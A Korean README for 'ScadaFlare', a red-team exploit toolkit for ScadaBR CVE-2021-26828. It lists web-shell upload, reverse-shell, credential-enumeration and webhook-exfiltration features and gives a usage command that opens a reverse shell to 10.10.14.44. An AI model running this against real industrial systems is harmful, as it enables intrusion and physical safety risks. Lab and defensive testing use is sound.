ScadaFlare - CVE-2021-26828 인증된 RCE 익스플로잇 툴킷

ScadaBR <1.1.0을 대상으로 하는 모듈식 인증 후 RCE 익스플로잇으로, 레드팀 작업을 위해 강화되었습니다.

기능

• 무기화된 .jsp 셸을 view_edit.shtm을 통해 업로드합니다.
• Linux 및 Windows 페이로드 지원
• SOCKS5 / HTTP 프록시 지원
• 리버스 셸 트리거 (표준 또는 base64)
• 열거 모듈 (DB, 자격 증명, Log4Shell 등)
• 웹훅 유출 (Slack / Discord)
• Metasploit 리소스 스크립트 생성
• 정리 지원 (킬 스위치)

MITRE ATT&CK 기술 매핑

CVE

• CVE-2021-26828
• Fellipe Oliveira가 발견함
• 익스플로잇 강화 및 모듈화됨

존재 이유

이 익스플로잇은 HTB Pro Lab: Alchemy 시나리오 분석 중에 개발되었습니다. Fellipe Oliveira의 원본 PoC는 견고했지만, 다음과 같은 단점이 있었습니다:

Python 2로 작성됨

프록시 지원, 셸 정리, 열거 체인과 같은 현대적인 기능 부족

확장하거나 레드팀 워크플로우에 통합하기 어려움

이 버전인 ScadaFlare는 모듈 지원, 여러 우회 전략, OS 탐지 재정의, 웹훅 통합, SOCKS 프록시 지원, 실제 운영자 사용을 위한 열거 체인을 갖춘 Python 3 전체 재작성입니다.

사용법

python3 scadaflare.py http://172.16.0.20:80 admin admin \
  --reverse-ip 10.10.14.44 --reverse-port 4445 \
  --verbose --cleanup

법적 및 윤리적 사용 전용

ScadaFlare는 오직 다음 용도로만 설계되었습니다:

• 윤리적 해킹 교육
• SCADA 랩 테스트
• 방어 연구 및 취약점 검증

실제 산업 시스템에 대한 무단 사용은 다음을 초래할 수 있습니다:

• 물리적 프로세스 방해
• 손상 또는 안전 위험 초래
• 심각한 법적 결과 초래

이 도구를 사용함으로써 귀하는 다음에 대한 전적인 책임을 수락합니다:

• 명시적 서면 승인 획득
• 승인된 환경 내에서만 운영

라이선스

MIT 라이선스 – LICENSE 참조